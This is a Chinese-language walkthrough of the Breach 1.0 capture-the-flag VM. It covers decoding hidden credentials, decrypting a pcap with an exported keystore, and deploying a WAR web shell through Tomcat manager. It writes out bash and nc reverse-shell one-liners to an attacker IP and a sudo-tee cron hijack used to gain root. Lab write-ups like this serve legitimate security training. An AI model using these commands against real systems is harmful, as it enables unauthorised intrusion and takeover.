Breach1.0是一個難度爲初級到中級的BooT2Root/CTF挑戰。php
VM虛機配置有靜態IP地址(192.168.110.140),須要將虛擬機網卡設置爲host-only方式組網,而且配置網段。很是感謝Knightmare和rastamouse進行測試和提供反饋。做者期待你們寫出文章,特別是經過非預期的方式獲取root權限。html
Boot to root:得到root權限,查看flag。vue
啓動Breach1.0虛擬機,因爲IP已知,使用nmap掃描端口,並作服務識別和深度掃描(加-A參數),掃描結果保存到txt文件,命令:java
nmap -v -A -p 1-65535 192.168.110.140python
發現端口幾乎全開放了,顯然是有問題,虛擬機對端口掃描作了一些防禦措施,直接訪問80端口,進入web首頁:mysql
(1) 查看首頁源代碼,發現提示:linux
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo 這是一串base64編碼c++
(2) 將其複製到Burpsuit Decoder進行base64解碼,解密後發現仍是base64編碼,繼續base64解碼,獲得git
pgibbons:damnitfeel$goodtobeagang$tagithub
這看起來像是用戶名和密碼
(1) 點擊首頁的圖片,進入 initech.html 頁面
(2)點擊initech.html左邊的 Cake 和 Stapler 發現只是簡簡單單的兩張圖片,
(3) 點擊initech.html左邊的 Employee portal 進入到 http://192.168.110.140/impresscms/user.php 這是一個impresscms登陸頁
使用以前兩次base64解碼獲得的密碼登陸impresscms:
用戶名:pgibbons
密碼:damnitfeel$goodtobeagang$ta
(3) exploit-db.com查找impress cms漏洞:發現ImpressCMS 1.3.9 SQL注入漏洞 : https://www.exploit-db.com/exploits/39737/%E5%8F%AF%E6%B3%A8%E5%85%A5%E9%A1%B5%E9%9D%A2%E4%B8%BA/modules/profile/admin/field.php,可是該頁面目前沒有權限訪問,沒法進行注入。
(4) 注意到左邊的收件箱Inbox顯示有3封郵件
咱們依次打開查看:
第一封郵件:
主要內容:讓你的團隊只能向管理門戶發佈任何敏感的內容。個人密碼很是安全,發自ImpressCMS Admin Bill
第二封郵件:
主要內容:Michael採購了IDS/IPS。
第三封郵件:
主要內容:有一個peter的SSL證書被保存在192.168.110.140/.keystore
關鍵恐怕就是這個第三封郵件
(5) 訪問 http://192.168.110.140/.keystore 下載包含SSL證書的密鑰庫keystore文件,keystore是存儲公私密鑰的一種文件格式。
(1) 依次訪問左邊的菜單樹,點擊每一個菜單欄:
菜單欄 content 連接了一張圖片troll.gif:
點擊菜單欄 profile 會進入目錄瀏覽:
但都沒發現可利用漏洞,繼續瀏覽每一個網頁。
(2) 點擊 View Account 菜單進入界面,再依次點擊頁面的 Content
,會彈出一行連接
Content SSL implementation test capture
,點擊連接,以下圖:
(3) 進入http://192.168.110.140/impresscms/modules/content/content.php?content_id=1頁面,能夠看到一個名爲_SSL_test_phase1.pcap的Wireshark流量包文件,下載它。
同時,該頁面有重要的提示信息:這個pcap文件是有紅色團隊的從新攻擊產生的,可是不能讀取文件。並且
"They told me the alias, storepassword and keypassword are all set to 'tomcat' " 別名、Keystore密碼、key密碼都設置成 tomcat。
由此推測:a.這是一個流量包文件,不能讀取極可能由於某些流量有SSL加密(前面的郵件中提供了一個keystore,這裏提供了密碼;b.系統中可能存在tomcat。
(4) Windows攻擊機安裝有JDK,到JDK目錄下找到keytool.exe工具:路徑:
D:\java\bin\keytool.exe
將keystore放到F盤根目錄,查看keystore這個密鑰庫裏面的全部證書,命令 keytool -list -keystore F:\keystore 輸入密鑰庫口令 tomcat:
(5) 從密鑰庫導出.p12證書,將keystore拷貝到keytool目錄,導出名爲:tomcatkeystore.p12 的證書,命令:
keytool -importkeystore -srckeystore F:keystore -destkeystore F:tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat
查看結構,發現已經成功導出
(6) 將.p12證書導入Wireshark
.p12證書存儲在C盤根目錄,將證書導入Wireshark:在Wireshark中打開流量包文件_SSL_test_phase1.pcap,選擇菜單:編輯----->首選項---->Protocols---->SSL,點擊右邊的Edit,輸入:192.168.110.140 8443 http 點擊選擇證書文件 輸入密碼tomcat
(1) 導入證書後,https流量已經被解密,查看每一個http流量包:
發現從192.168.110.129到192.168.110.140的攻擊流量包,其中有cmd命令馬執行了id命令,攻擊者上傳了兩張圖片,疑似圖片馬,可是命令馬沒法直接訪問,須要登陸tomcat後臺:
(2) 得到Tomcat後臺登陸地址和用戶名密碼
繼續觀察流量包,發現一個Unauthorized的認證包,意思是管理員沒有受權訪問
這是關於Unauthorized的認證包的講解:https://blog.csdn.net/patronsaint/article/details/5639962
該request和response包含了Tomcat後臺的登陸地址:
https://192.168.110.140:8443/_M@nag3Me/html
同時發現包含登陸用戶名密碼的數據包, 採用http basic認證,認證數據包爲
Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
:
這是base64編碼的用戶名密碼,將 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
進行解碼,獲得Tomcat登陸用戶名密碼
Tomcat後臺登陸用戶名:tomcat,密碼:Tt5D8F(#!*u=G)4m7zB
(1) 登陸tomcat後臺:
(2) Tomcat後臺get shell是有標準姿式的,上養馬場,準備好jsp版本的各類馬,這裏有cmd命令小馬,菜刀馬,jspspy大馬,將其打成caidao.zip壓縮包,再將zip壓縮包將擴展名改成caidao.war,將war包上傳部署便可:
(2) 在WAR file to deploy中將war包上傳:
上傳後在目錄中找到上傳的目錄/caidao,已上傳jsp木馬文件就在這個目錄下。
(3) 使用中國菜刀鏈接https://192.168.110.140:8443/caidao/caidao.jsp
(4) 使用菜刀命令行鏈接,執行id;pwd命令成功:
(5) 發現的問題:上傳的菜刀馬,一下子就會消失,文件被刪除,須要從新上傳war包纔可以繼續使用菜刀,主機可能有殺軟或者殺web shell工具。解決方法:bash反彈一個shell出來。
(1) 查看當前系統用戶,找id爲1000之後的用戶 cat /etc/passwd
發現兩個值得關注的用戶:milton 和 blumbergh
(2) 在菜刀裏面找到網頁根目錄,默認是在tomcat目錄,找到網頁部署目錄/var/www/5446/
(3) 該目錄下發現兩個奇怪的php文件,命名很是長且無規律fe4db1f7bc038d60776dcb66ab3404d5.php和0d93f85c5061c44cdffeb8381b2772fd.php,使用菜刀下載下來打開查看:
這是mysql數據庫鏈接文件,使用mysql的root帳號鏈接數據庫,密碼爲空。
(4) 由於菜刀馬老是被刪除,因此反彈shell到nc:在菜刀cmd命令行反彈一個shell到Windows攻擊機的nc,命令:echo "bash -i >& /dev/tcp/192.168.110.220/4444 0>&1" | bash
nc接收反彈sehll成功:
(5) 鏈接mysql數據庫,查看mysql用戶,這裏輸入mysql命令後一直沒有回顯,直到輸入exit退出mysql登陸後,查詢回顯纔出來,命令:
mysql -u root -p
use mysql;
select user,password from user;
exit
獲得milton用戶的密碼哈希:6450d89bd3aff1d893b85d3ad65d2ec2
到https://www.somd5.com/
解密,獲得用戶milton的明文密碼:thelaststraw
(1) 沒法執行su命令,顯示須要一個終端,以前都遇到這個問題,經過Python解決:
python -c 'import pty;pty.spawn("/bin/bash")'
(2) 提權到用戶milton
su - milton
密碼:thelaststraw
查看milton用戶home目錄下的some_script.sh文件,沒有可利用的信息。
(3) 查看系統內核版本,命令uanme -a
和cat /etc/issue
系統內核版本爲:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提權漏洞。存在本地提權漏洞內核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
(4) 查看歷史命令,無有價值的線索,看到歷史命令su提權到了blumbergh用戶。須要找到blumbergh用戶的密碼。
(5) 到如今發現了7張圖片,6張在圖片目錄:http://192.168.110.140/images/
,1張在milton用戶目錄下:
http://192.168.110.140/images/bill.png
http://192.168.110.140/images/initech.jpg
http://192.168.110.140/images/troll.gif
http://192.168.110.140/images/cake.jpg
http://192.168.110.140/images/swingline.jpg
http://192.168.110.140/images/milton_beach.jpg
milton用戶目錄下my_badge.jpg
將圖片複製到kali linux,使用strings打印各圖片其中的可打印字符,追加輸出到images.txt,在vim下查看,密碼在bill.png圖片中。
找到可能的密碼或提示:
發現惟一的單詞是:coffeestains
或者使用exiftool.exe工具查看bill.png圖片的exif信息,獲得可能的密碼:coffeestains
(6)提權到blumbergh用戶
用戶名:blumbergh
密碼:coffeestains
(7)查看歷史命令,發現/usr/share/cleanup和tidyup.sh腳本文件:
讀取tidyup.sh腳本分析:
cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf
這是一段清理腳本,描述中說明每3分鐘執行清理,刪除webapps目錄下的文件,所以以前上傳的菜刀馬老是被刪除,須要從新上傳。
查看tidyup.sh的權限,對該腳本沒有寫入權限,只有root能夠
查看sudo權限,執行sudo -l:
發現用戶可以以root權限執行這tee程序或tidyup.sh腳本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh
tee命令用於讀取標準輸入的數據,並將其內容輸出成文件。tidyup.sh是清理腳本。
(1) 向tidyup.sh中寫入反彈shell命令
tidyup.sh文件只有root可寫,而可以以root權限運行tee命令,那麼用tee命令寫tidyup.sh:先將反彈shell命令寫入shell.txt文件,使用bash反彈shell命令沒有成功,因而使用nc命令反彈shell成功,因此寫nc反彈命令:
echo "nc -e /bin/bash 192.168.110.220 5555" > shell.txt
再使用tee命令將shell.txt內容輸出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件寫入成功:
cat /usr/share/cleanup/tidyup.sh
(2) nc監聽等待反彈shell,查看權限是root,flag是一張圖片,將圖片拷貝到home目錄:
(3) 查看一下crontab計劃任務,發現果真有每3分鐘執行tidyup.sh清理腳本的任務:
(4) 使用以前上傳的jsp大馬JspSpy將flair.jpg下載到Windows:
(5) 查看flag:I NEED TO TALK ABOUT YOUR FLAIR
遊戲通關。
(1) 從網頁源碼和圖片字符中解密出CMS和Tomcat的帳號、密碼。
(2) 導入ssl證書到Wireshark中解密通過SSL加密的流量,得到Tomcat後臺登陸URL和帳號密碼。
(3) Tomcat後臺get shell姿式要熟練。
(4) 提權:找到兩個帳號的密碼,發現能夠root權限執行的tee命令和tidyup.sh清理腳本,經過計劃任務反彈root shell。
(1) 使用keytool導出SSL證書:這是很是規滲透知識,須要查閱原理和工具使用,耗費時間較多。
(2) Tomcat後臺get shell後,已上傳的菜刀馬老是被殺,每次傳上去過不了幾分鐘沒了,當時覺得該系統安裝了殺毒軟件或web shell清理工具,實際是由於主機tidyup.sh清理腳本,每3分鐘清理一次。反彈出一個shell就能夠持續使用shell了。
(3) 鏈接mysql執行命令,沒有回顯。菜刀執行命令超時,nc中只有exit退出時纔回顯,當時打算放棄了,才exit退出,結果退出纔有回顯,發現了milton帳號的密碼哈希。山重水複疑無路,柳暗花明又一村。
(4) 花費較多時間進行兩次帳號切換,再反彈root shell提權。發現和利用tidyup.sh須要較多時間。
(5) 經過crontab的計劃任務,反彈root shell的方式,在真實滲透測試中是常見的,好比redis的root空口令挖礦,能夠ssh證書鏈接,也能夠寫root crontab反彈,可是在Vulnhub中第一次遇到,對初學者有難度。